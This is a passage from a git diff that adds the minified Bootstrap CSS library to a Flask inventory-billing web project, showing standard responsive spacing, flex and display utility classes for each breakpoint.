m-4{margin-left:1.5rem!important}.ms-sm-5{margin-left:3rem!important}.ms-sm-auto{margin-left:auto!important}.p-sm-0{padding:0!important}.p-sm-1{padding:.25rem!important}.p-sm-2{padding:.5rem!important}.p-sm-3{padding:1rem!important}.p-sm-4{padding:1.5rem!important}.p-sm-5{padding:3rem!important}.px-sm-0{padding-right:0!important;padding-left:0!important}.px-sm-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-sm-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-sm-3{padding-right:1rem!important;padding-left:1rem!important}.px-sm-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-sm-5{padding-right:3rem!important;padding-left:3rem!important}.py-sm-0{padding-top:0!important;padding-bottom:0!important}.py-sm-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-sm-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-sm-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-sm-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-sm-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-sm-0{padding-top:0!important}.pt-sm-1{padding-top:.25rem!important}.pt-sm-2{padding-top:.5rem!important}.pt-sm-3{padding-top:1rem!important}.pt-sm-4{padding-top:1.5rem!important}.pt-sm-5{padding-top:3rem!important}.pe-sm-0{padding-right:0!important}.pe-sm-1{padding-right:.25rem!important}.pe-sm-2{padding-right:.5rem!important}.pe-sm-3{padding-right:1rem!important}.pe-sm-4{padding-right:1.5rem!important}.pe-sm-5{padding-right:3rem!important}.pb-sm-0{padding-bottom:0!important}.pb-sm-1{padding-bottom:.25rem!important}.pb-sm-2{padding-bottom:.5rem!important}.pb-sm-3{padding-bottom:1rem!important}.pb-sm-4{padding-bottom:1.5rem!important}.pb-sm-5{padding-bottom:3rem!important}.ps-sm-0{padding-left:0!important}.ps-sm-1{padding-left:.25rem!important}.ps-sm-2{padding-left:.5rem!important}.ps-sm-3{padding-left:1rem!important}.ps-sm-4{padding-left:1.5rem!important}.ps-sm-5{padding-left:3rem!important}.text-sm-start{text-align:left!important}.text-sm-end{text-align:right!important}.text-sm-center{text-align:center!important}}@media (min-width:768px){.float-md-start{float:left!important}.float-md-end{float:right!important}.float-md-none{float:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-grid{display:grid!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:flex!important}.d-md-inline-flex{display:inline-flex!important}.d-md-none{display:none!important}.flex-md-fill{flex:1 1 auto!important}.flex-md-row{flex-direction:row!important}.flex-md-column{flex-direction:column!important}.flex-md-row-reverse{flex-direction:row-reverse!important}.flex-md-column-reverse{flex-direction:column-reverse!important}.flex-md-grow-0{flex-grow:0!important}.flex-md-grow-1{flex-grow:1!important}.flex-md-shrink-0{flex-shrink:0!important}.flex-md-shrink-1{flex-shrink:1!important}.flex-md-wrap{flex-wrap:wrap!important}.flex-md-nowrap{flex-wrap:nowrap!important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse!important}.gap-md-0{gap:0!important}.gap-md-1{gap:.25rem!important}.gap-md-2{gap:.5rem!important}.gap-md-3{gap:1rem!important}.gap-md-4{gap:1.5rem!important}.gap-md-5{gap:3rem!important}.justify-content-md-start{justify-content:flex-start!important}.justify-content-md-end{justify-content:flex-end!important}.justify-content-md-center{justify-content:center!important}.justify-content-md-between{justify-content:space-between!important}.justify-content-md-around{justify-content:space-around!important}.justify-content-md-evenly{justify-content:space-evenly!important}.align-items-md-start{align-items:flex-start!important}.align-items-md-end{align-items:flex-end!important}.align-items-md-center{align-items:center!important}.align-items-md-baseline{align-items:baseline!important}.align-items-md-stretch{align-items:stretch!important}.align-content-md-start{align-content:flex-start!important}.align-content-md-end{align-content:flex-end!important}.align-content-md-center{align-content:center!important}.align-content-md-between{align-content:space-between!important}.align-content-md-around{align-content:space-around!important}.align-content-md-stretch{align-content:stretch!important}.align-self-md-auto{align-self:auto!important}.align-self-md-start{align-self:flex-start!important}.align-self-md-end{align-self:flex-end!important}.align-self-md-center{align-self:center!important}.align-self-md-baseline{align-self:baseline!important}.align-self-md-stretch{align-self:stretch!important}.order-md-first{order:-1!important}.order-md-0{order:0!important}.order-md-1{order:1!important}.order-md-2{order:2!important}.order-md-3{order:3!important}.order-md-4{order:4!important}.order-md-5{order:5!important}.order-md-last{order:6!important}.m-md-0{margin:0!important}.m-md-1{margin:.25rem!important}.m-md-2{margin:.5rem!important}.m-md-3{margin:1rem!important}.m-md-4{margin:1.5rem!important}.m-md-5{margin:3rem!important}.m-md-auto{margin:auto!important}.mx-md-0{margin-right:0!important;margin-left:0!important}.mx-md-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-md-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-md-3{margin-right:1rem!important;margin-left:1rem!important}.mx-md-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-md-5{margin-right:3rem!important;margin-left:3rem!important}.mx-md-auto{margin-right:auto!important;margin-left:auto!important}.my-md-0{margin-top:0!important;margin-bottom:0!important}.my-md-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-md-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-md-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-md-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-md-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-md-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-md-0{margin-top:0!important}.mt-md-1{margin-top:.25rem!important}.mt-md-2{margin-top:.5rem!important}.mt-md-3{margin-top:1rem!important}.mt-md-4{margin-top:1.5rem!important}.mt-md-5{margin-top:3rem!important}.mt-md-auto{margin-top:auto!important}.me-md-0{margin-right:0!important}.me-md-1{margin-right:.25rem!important}.me-md-2{margin-right:.5rem!important}.me-md-3{margin-right:1rem!important}.me-md-4{margin-right:1.5rem!important}.me-md-5{margin-right:3rem!important}.me-md-auto{margin-right:auto!important}.mb-md-0{margin-bottom:0!important}.mb-md-1{margin-bottom:.25rem!important}.mb-md-2{margin-bottom:.5rem!important}.mb-md-3{margin-bottom:1rem!important}.mb-md-4{margin-bottom:1.5rem!important}.mb-md-5{margin-bottom:3rem!important}.mb-md-auto{margin-bottom:auto!important}.ms-md-0{margin-left:0!important}.ms-md-1{margin-left:.25rem!important}.ms-md-2{margin-left:.5rem!important}.ms-md-3{margin-left:1rem!important}.ms-md-4{margin-left:1.5rem!important}.ms-md-5{margin-left:3rem!important}.ms-md-auto{margin-left:auto!important}.p-md-0{padding:0!important}.p-md-1{padding:.25rem!important}.p-md-2{padding:.5rem!important}.p-md-3{padding:1rem!important}.p-md-4{padding:1.5rem!important}.p-md-5{padding:3rem!important}.px-md-0{padding-right:0!important;padding-left:0!important}.px-md-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-md-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-md-3{padding-right:1rem!important;padding-left:1rem!important}.px-md-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-md-5{padding-right:3rem!important;padding-left:3rem!important}.py-md-0{padding-top:0!important;padding-bottom:0!important}.py-md-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-md-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-md-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-md-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-md-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-md-0{padding-top:0!important}.pt-md-1{padding-top:.25rem!important}.pt-md-2{padding-top:.5rem!important}.pt-md-3{padding-top:1rem!important}.pt-md-4{padding-top:1.5rem!important}.pt-md-5{padding-top:3rem!important}.pe-md-0{padding-right:0!important}.pe-md-1{padding-right:.25rem!important}.pe-md-2{padding-right:.5rem!important}.pe-md-3{padding-right:1rem!important}.pe-md-4{padding-right:1.5rem!important}.pe-md-5{padding-right:3rem!important}.pb-md-0{padding-bottom:0!important}.pb-md-1{padding-bottom:.25rem!important}.pb-md-2{padding-bottom:.5rem!important}.pb-md-3{padding-bottom:1rem!important}.pb-md-4{padding-bottom:1.5rem!important}.pb-md-5{padding-bottom:3rem!important}.ps-md-0{padding-left:0!important}.ps-md-1{padding-left:.25rem!important}.ps-md-2{padding-left:.5rem!important}.ps-md-3{padding-left:1rem!important}.ps-md-4{padding-left:1.5rem!important}.ps-md-5{padding-left:3rem!important}.text-md-start{text-align:left!important}.text-md-end{text-align:right!important}.text-md-center{text-align:center!important}}@media (min-width:992px){.float-lg-start{float:left!important}.float-lg-end{float:right!important}.float-lg-none{float:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-grid{display:grid!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:flex!important}.d-lg-inline-flex{display:inline-flex!important}.d-lg-none{display:none!important}.flex-lg-fill{flex:1 1 auto!important}.flex-lg-row{flex-direction:row!important}.flex-lg-column{flex-direction:column!important}.flex-lg-row-reverse{flex-direction:row-reverse!important}.flex-lg-column-reverse{flex-direction:column-reverse!important}.flex-lg-grow-0{flex-grow:0!important}.flex-lg-grow-1{flex-grow:1!important}.flex-lg-shrink-0{flex-shrink:0!important}.flex-lg-shrink-1{flex-shrink:1!important}.flex-lg-wrap{flex-wrap:wrap!important}.flex-lg-nowrap{flex-wrap:nowrap!important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse!important}.gap-lg-0{gap:0!important}.gap-lg-1{gap:.25rem!important}.gap-lg-2{gap:.5rem!important}.gap-lg-3{gap:1rem!important}.gap-lg-4{gap:1.5rem!important}.gap-lg-5{gap:3rem!important}.justify-content-lg-start{justify-content:flex-start!important}.justify-content-lg-end{justify-content:flex-end!important}.justify-content-lg-center{justify-content:center!important}.justify-content-lg-between{justify-content:space-between!important}.justify-content-lg-around{justify-content:space-around!important}.justify-content-lg-evenly{justify-content:space-evenly!important}.align-items-lg-start{align-items:flex-start!important}.align-items-lg-end{align-items:flex-end!important}.align-items-lg-center{align-items:center!important}.align-items-lg-baseline{align-items:baseline!important}.align-items-lg-stretch{align-items:stretch!important}.align-content-lg-start{align-content:flex-start!important}.align-content-lg-end{align-content:flex-end!important}.align-content-lg-center{align-content:center!important}.align-content-lg-between{align-content:space-between!important}.align-content-lg-around{align-content:space-around!important}.align-content-lg-stretch{align-content:stretch!important}.align-self-lg-auto{align-self:auto!important}.align-self-lg-start{align-self:flex-start!important}.align-self-lg-end{align-self:flex-end!important}.align-self-lg-center{align-self:center!important}.align-self-lg-baseline{align-self:baseline!important}.align-self-lg-stretch{align-self:stretch!important}.order-lg-first{order:-1!important}.order-lg-0{order:0!important}.order-lg-1{order:1!important}.order-lg-2{order:2!important}.order-lg-3{order:3!important}.order-lg-4{order:4!important}.order-lg-5{order:5!important}.order-lg-last{order:6!important}.m-lg-0{margin:0!important}.m-lg-1{margin:.25rem!important}.m-lg-2{margin:.5rem!important}.m-lg-3{margin:1rem!important}.m-lg-4{margin:1.5rem!important}.m-lg-5{margin:3rem!important}.m-lg-auto{margin:auto!important}.mx-lg-0{margin-right:0!important;margin-left:0!important}.mx-lg-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-lg-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-lg-3{margin-right:1rem!important;margin-left:1rem!important}.mx-lg-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-lg-5{margin-right:3rem!important;margin-left:3rem!important}.mx-lg-auto{margin-right:auto!important;margin-left:auto!important}.my-lg-0{margin-top:0!important;margin-bottom:0!important}.my-lg-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-lg-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-lg-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-lg-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-lg-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-lg-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-lg-0{margin-top:0!important}.mt-lg-1{margin-top:.25rem!important}.mt-lg-2{margin-top:.5rem!important}.mt-lg-3{margin-top:1rem!important}.mt-lg-4{margin-top:1.5rem!important}.mt-lg-5{margin-top:3rem!important}.mt-lg-auto{margin-top:auto!important}.me-lg-0{margin-right:0!important}.me-lg-1{margin-right:.25rem!important}.me-lg-2{margin-right:.5rem!important}.me-lg-3{margin-right:1rem!important}.me-lg-4{margin-right:1.5rem!important}.me-lg-5{margin-right:3rem!important}.me-lg-auto{margin-right:auto!important}.mb-lg-0{margin-bottom:0!important}.mb-lg-1{margin-bottom:.25rem!important}.mb-lg-2{margin-bottom:.5rem!important}.mb-lg-3{margin-bottom:1rem!important}.mb-lg-4{margin-bottom:1.5rem!important}.mb-lg-5{margin-bottom:3rem!important}.mb-lg-auto{margin-bottom:auto!important}.ms-lg-0{margin-left:0!important}.ms-lg-1{margin-left:.25rem!important}.ms-lg-2{margin-left:.5rem!important}.ms-lg-3{margin-left:1rem!important}.ms-lg-4{margin-left:1.5rem!important}.ms-lg-5{margin-left:3rem!important}.ms-lg-auto{margin-left:auto!important}.p-lg-0{padding:0!important}.p-lg-1{padding:.25rem!important}.p-lg-2{padding:.5rem!important}.p-lg-3{padding:1rem!important}.p-lg-4{padding:1.5rem!important}.p-lg-5{padding:3rem!important}.px-lg-0{padding-right:0!important;padding-left:0!important}.px-lg-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-lg-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-lg-3{padding-right:1rem!important;padding-left:1rem!important}.px-lg-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-lg-5{padding-right:3rem!important;padding-left:3rem!important}.py-lg-0{padding-top:0!important;padding-bottom:0!important}.py-lg-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-lg-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-lg-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-lg-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-lg-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-lg-0{padding-top:0!important}.pt-lg-1{padding-top:.25rem!important}.pt-lg-2{padding-top:.5rem!important}.pt-lg-3{padding-top:1rem!important}.pt-lg-4{padding-top:1.5rem!important}.pt-lg-5{padding-top:3rem!important}.pe-lg-0{padding-right:0!important}.pe-lg-1{padding-right:.25rem!important}.pe-lg-2{padding-right:.5rem!important}.pe-lg-3{padding-right:1rem!important}.pe-lg-4{padding-right:1.5rem!important}.pe-lg-5{padding-right:3rem!important}.pb-lg-0{padding-bottom:0!important}.pb-lg-1{padding-bottom:.25rem!important}.pb-lg-2{padding-bottom:.5rem!important}.pb-lg-3{padding-bottom:1rem!important}.pb-lg-4{padding-bottom:1.5rem!important}.pb-lg-5{padding-bottom:3rem!important}.ps-lg-0{padding-left:0!important}.ps-lg-1{padding-left:.25rem!important}.ps-lg-2{padding-left:.5rem!important}.ps-lg-3{padding-left:1rem!important}.ps-lg-4{padding-left:1.5rem!important}.ps-lg-5{padding-left:3rem!important}.text-lg-start{text-align:left!important}.text-lg-end{text-align:right!important}.text-lg-center{text-align:center!important}}@media (min-width:1200px){.float-xl-start{float:left!important}.float-xl-end{float:right!important}.float-xl-none{float:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-grid{display:grid!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:flex!important}.d-xl-inline-flex{display:inline-flex!important}.d-xl-none{display:none!important}.flex-xl-fill{flex:1 1 auto!important}.flex-xl-row{flex-direction:row!important}.flex-xl-column{flex-direction:column!important}.flex-xl-row-reverse{flex-direction:row-reverse!important}.flex-xl-column-reverse{flex-direction:column-reverse!important}.flex-xl-grow-0{flex-grow:0!important}.flex-xl-grow-1{flex-grow:1!important}.flex-xl-shrink-0{flex-shrink:0!important}.flex-xl-shrink-1{flex-shrink:1!important}.flex-xl-wrap{flex-wrap:wrap!important}.flex-xl-nowrap{flex-wrap:nowrap!important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse!important}.gap-xl-0{gap:0!important}.gap-xl-1{gap:.25rem!important}.gap-xl-2{gap:.5rem!important}.gap-xl-3{gap:1rem!important}.gap-xl-4{gap:1.5rem!important}.gap-xl-5{gap:3rem!important}.justify-content-xl-start{justify-content:flex-start!important}.justify-content-xl-end{justify-content:flex-end!important}.justify-content-xl-center{justify-content:center!important}.justify-content-xl-between{justify-content:space-between!important}.justify-content-xl-around{justify-content:space-around!important}.justify-content-xl-evenly{justify-content:space-evenly!important}.align-items-xl-start{align-items:flex-start!important}.align-items-xl-end{align-items:flex-end!important}.align-items-xl-center{align-items:center!important}.align-items-xl-baseline{align-items:baseline!important}.align-items-xl-stretch{align-items:stretch!important}.align-content-xl-start{align-content:flex-start!important}.align-content-xl-end{align-content:flex-end!important}.align-content-xl-center{align-content:center!important}.align-content-xl-between{align-content:space-between!important}.align-content-xl-around{align-content:space-around!important}.align-content-xl-stretch{align-content:stretch!important}.align-self-xl-auto{align-self:auto!important}.align-self-xl-start{align-self:flex-start!important}.align-self-xl-end{align-self:flex-end!important}.align-self-xl-center{align-self:center!important}.align-self-xl-baseline{align-self:baseline!important}.align-self-xl-stretch{align-self:stretch!important}.order-xl-first{order:-1!important}.order-xl-0{order:0!important}.order-xl-1{order:1!important}.order-xl-2{order:2!important}.order-xl-3{order:3!important}.order-xl-4{order:4!important}.order-xl-5{order:5!important}.order-xl-last{order:6!important}.m-xl-0{margin:0!important}.m-xl-1{margin:.25rem!important}.m-xl-2{margin:.5rem!important}.m-xl-3{margin:1rem!important}.m-xl-4{margin:1.5rem!important}.m-xl-5{margin:3rem!important}.m-xl-auto{margin:auto!important}.mx-xl-0{margin-right:0!important;margin-left:0!important}.mx-xl-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-xl-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-xl-3{margin-right:1rem!important;margin-left:1rem!important}.mx-xl-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-xl-5{margin-right:3rem!important;margin-left:3rem!important}.mx-xl-auto{margin-right:auto!important;margin-left:auto!important}.my-xl-0{margin-top:0!important;margin-bottom:0!important}.my-xl-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-xl-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-xl-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-xl-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-xl-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-xl-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-xl-0{margin-top:0!important}.mt-xl-1{margin-top:.25rem!important}.mt-xl-2{margin-top:.5rem!important}.mt-xl-3{margin-top:1rem!important}.mt-xl-4{margin-top:1.5rem!important}.mt-xl-5{margin-top:3rem!important}.mt-xl-auto{margin-top:auto!important}.me-xl-0{margin-right:0!important}.me-xl-1{margin-right:.25rem!important}.me-xl-2{margin-right:.5rem!important}.me-xl-3{margin-right:1rem!important}.me-xl-4{margin-right:1.5rem!important}.me-xl-5{margin-right:3rem!important}.me-xl-auto{margin-right:auto!important}.mb-xl-0{margin-bottom:0!important}.mb-xl-1{margin-bottom:.25rem!important}.mb-xl-2{margin-bottom:.5rem!important}.mb-xl-3{margin-bottom:1rem!important}.mb-xl-4{margin-bottom:1.5rem!important}.mb-xl-5{margin-bottom:3rem!important}.mb-xl-auto{margin-bottom:auto!important}.ms-xl-0{margin-left:0!important}.ms-xl-1{margin-left:.25rem!important}.ms-xl-2{margin-left:.5rem!important}.ms-xl-3{margin-left:1rem!important}.ms-xl-4{margin-left:1.5rem!important}.ms-xl-5{margin-left:3rem!important}.ms-xl-auto{margin-left:auto!important}.p-xl-0{padding:0!important}.p-xl-1{padding:.25rem!important}.p-xl-2{padding:.5rem!important}.p-xl-3{padding:1rem!important}.p-xl-4{padding:1.5rem!important}.p-xl-5{padding:3rem!important}.px-xl-0{padding-right:0!important;padding-left:0!important}.px-xl-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-xl-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-xl-3{padding-right:1rem!important;padding-left:1rem!important}.px-xl-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-xl-5{padding-right:3rem!important;padding-left:3rem!important}.py-xl-0{padding-top:0!important;padding-bottom:0!important}.py-xl-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-xl-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-xl-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-xl-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-xl-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-xl-0{padding-top:0!important}.pt-xl-1{padding-top:.25rem!important}.pt-xl-2{padding-top:.5rem!important}.pt-xl-3{padding-top:1rem!important}.pt-xl-4{padding-top:1.5rem!important}.pt-xl-5{padding-top:3rem!important}.pe-xl-0{padding-right:0!important}.pe-xl-1{padding-right:.25rem!important}.pe-xl-2{padding-right:.5rem!important}.pe-xl-3{padding-right:1rem!important}.pe-xl-4{padding-right:1.5rem!important}.pe-xl-5{padding-right:3rem!important}.pb-xl-0{padding-bottom:0!important}.pb-xl-1{padding-bottom:.25rem!important}.pb-xl-2{padding-bottom:.5rem!important}.pb-xl-3{padding-bottom:1rem!important}.pb-xl-4{padding-bottom:1.5rem!important}.pb-xl-5{padding-bottom:3rem!important}.ps-xl-0{padding-left:0!important}.ps-xl-1{padding-left:.25rem!important}.ps-xl-2{padding-left:.5rem!important}.ps-xl-3{padding-left:1rem!important}.ps-xl-4{padding-left:1.5rem!important}.ps-xl-5{padding-left:3rem!important}.text-xl-start{text-align:left!important}.text-xl-end{text-align:right!important}.text-xl-center{text-align:center!important}}@media (min-width:1400px){.float-xxl-start{float:left!important}.float-xxl-end{float:right!important}.float-xxl-none{float:none!important}.d-xxl-inline{display:inline!important}.d-xxl-inline-block{display:inline-block!important}.d-xxl-block{display:block!important}.d-xxl-grid{display:grid!important}.d-xxl-table{display:table!important}.d-xxl-table-row{display:table-row!important}.d-xxl-table-cell{display:table-cell!important}.d-xxl-flex{display:flex!important}.d-xxl-inline-flex{display:inline-flex!important}.d-xxl-none{display:none!important}.flex-xxl-fill{flex:1 1 auto!important}.flex-xxl-row{flex-direction:row!important}.flex-xxl-column{flex-direction:column!important}.flex-xxl-row-reverse{flex-direction:row-reverse!important}.flex-xxl-column-reverse{flex-direction:column-reverse!important}.flex-xxl-grow-0{flex-grow:0!important}.flex-xxl-grow-1{flex-grow:1!important}.flex-xxl-shrink-0{flex-shrink:0!important}.flex-xxl-shrink-1{flex-shrink:1!important}.flex-xxl-wrap{flex-wrap:wrap!important}.flex-xxl-nowrap{flex-wrap:nowrap!important}.flex-xxl-wrap-reverse{flex-wrap:wrap-reverse!important}.gap-xxl-0{gap:0!important}.gap-xxl-1{gap:.25rem!important}.gap-xxl-2{gap:.5rem!important}.gap-xxl-3{gap:1rem!important}.gap-xxl-4{gap:1.5rem!important}.gap-xxl-5{gap:3rem!important}.justify-content-xxl-start{justify-content:flex-start!important}.justify-content-xxl-end{justify-content:flex-end!important}.justify-content-xxl-center{justify-content:center!important}.justify-content-xxl-between{justify-content:space-between!important}.justify-content-xxl-around{justify-content:space-around!important}.justify-content-xxl-evenly{justify-content:space-evenly!important}.align-items-xxl-start{align-items:flex-start!important}.align-items-xxl-end{align-items:flex-end!important}.align-items-xxl-center{align-items:center!important}.align-items-xxl-baseline{align-items:baseline!important}.align-items-xxl-stretch{align-items:stretch!important}.align-content-xxl-start{align-content:flex-start!important}.align-content-xxl-end{align-content:flex-end!important}.align-content-xxl-center{align-content:center!important}.align-content-xxl-between{align-content:space-between!important}.align-content-xxl-around{align-content:space-around!important}.align-content-xxl-stretch{align-content:stretch!important}.align-self-xxl-auto{align-self:auto!important}.align-self-xxl-start{align-self:flex-start!important}.align-self-xxl-end{align-self:flex-end!important}.align-self-xxl-center{align-self:center!important}.align-self-xxl-baseline{align-self:baseline!important}.align-self-xxl-stretch{align-self:stretch!important}.order-xxl-first{order:-1!important}.order-xxl-0{order:0!important}.order-xxl-1{order:1!important}.order-xxl-2{order:2!important}.order-xxl-3{order:3!important}.order-xxl-4{order:4!important}.order-xxl-5{order:5!important}.order-xxl-last{order:6!important}.m-xxl-0{margin:0!important}.m-xxl-1{margin:.25rem!important}.m-xxl-2{margin:.5rem!important}.m-xxl-3{margin:1rem!important}.m-xxl-4{margin:1.5rem!important}.m-xxl-5{margin:3rem!important}.m-xxl-auto{margin:auto!important}.mx-xxl-0{margin-right:0!important;margin-left:0!important}.mx-xxl-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-xxl-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-xxl-3{margin-right:1rem!important;margin-left:1rem!important}.mx-xxl-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-xxl-5{margin-right:3rem!important;margin-left:3rem!important}.mx-xxl-auto{margin-right:auto!important;margin-left:auto!important}.my-xxl-0{margin-top:0!important;margin-bottom:0!important}.my-xxl-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-xxl-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-xxl-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-xxl-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-xxl-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-xxl-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-xxl-0{margin-top:0!important}.mt-xxl-1{margin-top:.25rem!important}.mt-xxl-2{margin-top:.5rem!important}.mt-xxl-3{margin-top:1rem!important}.mt-xxl-4{margin-top:1.5rem!important}.mt-xxl-5{margin-top:3rem!important}.mt-xxl-auto{margin-top:auto!important}.me-xxl-0{margin-right:0!important}.me-xxl-1{margin-right:.25rem!important}.me-xxl-2{margin-right:.5rem!important}.me-xxl-3{margin-right:1rem!important}.me-xxl-4{margin-right:1.5rem!important}.me-xxl-5{margin-right:3rem!important}.me-xxl-auto{margin-right:auto!important}.mb-xxl-0{margin-bottom:0!important}.mb-xxl-1{margin-bottom:.25rem!important}.mb-xxl-2{margin-bottom:.5rem!important}.mb-xxl-3{margin-bottom:1rem!important}.mb-xxl-4{margin-bottom:1.5rem!important}.mb-xxl-5{margin-bottom:3rem!important}.mb-xxl-auto{margin-bottom:auto!important}.ms-xxl-0{margin-left:0!important}.ms-xxl-1{margin-left:.25rem!important}.ms-xxl-2{margin-left:.5rem!important}.ms-xxl-3{margin-left:1rem!important}.ms-xxl-4{margin-left:1.5rem!important}.ms-xxl-5{margin-left:3rem!important}.ms-xxl-auto{margin-left:auto!important}.p-xxl-0{padding:0!important}.p-xxl-1{padding:.25rem!important}.p-xxl-2{padding:.5rem!important}.p-xxl-3{padding:1rem!important}.p-xxl-4{padding:1.5rem!important}.p-xxl-5{padding:3rem!important}.px-xxl-0{padding-right:0!important;padding-left:0!important}.px-xxl-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-xxl-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-xxl-3{padding-right:1rem!important;padding-left:1rem!important}.px-xxl-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-xxl-5{padding-right:3rem!important;padding-left:3rem!important}.py-xxl-0{padding-top:0!important;padding-bottom:0!important}.py-xxl-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-xxl-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-xxl-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-xxl-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-xxl-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-xxl-0{padding-top:0!important}.pt-xxl-1{padding-top:.25rem!important}.pt-xxl-2{padding-top:.5rem!important}.pt-xxl-3{padding-top:1rem!important}.pt-xxl-4{padding-top:1.5rem!important}.pt-xxl-5{padding-top:3rem!important}.pe-xxl-0{padding-right:0!important}.pe-xxl-1{padding-right:.25rem!important}.pe-xxl-2{padding-right:.5rem!important}.pe-xxl-3{padding-right:1rem!important}.pe-xxl-4{padding-right:1.5rem!important}.pe-xxl-5{padding-right:3rem!important}.pb-xxl-0{padding-bottom:0!important}.pb-xxl-1{padding-bottom:.25rem!important}.pb-xxl-2{padding-bottom:.5rem!important}.pb-xxl-3{padding-bottom:1rem!important}.pb-xxl-4{padding-bottom:1.5rem!important}.pb-xxl-5{padding-bottom:3rem!important}.ps-xxl-0{padding-left:0!important}.ps-xxl-1{padding-left:.25rem!important}.ps-xxl-2{padding-left:.5rem!important}.ps-xxl-3{padding-left:1rem!important}.ps-xxl-4{padding-left:1.5rem!important}.ps-xxl-5{padding-left:3rem!important}.text-xxl-start{text-align:left!important}.text-xxl-end{text-align:right!important}.text-xxl-center{text-align:center!important}}@media (min-width:1200px){.fs-1{font-size:2.5rem!important}.fs-2{font-size:2rem!important}.fs-3{font-size:1.75rem!important}.fs-4{font-size:1.5rem!important}}@media print{.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-grid{display:grid!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:flex!important}.d-print-inline-flex{display:inline-flex!important}.d-print-none{display:none!important}} +/*# sourceMappingURL=bootstrap.min.css.map */ \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/css/styles.css 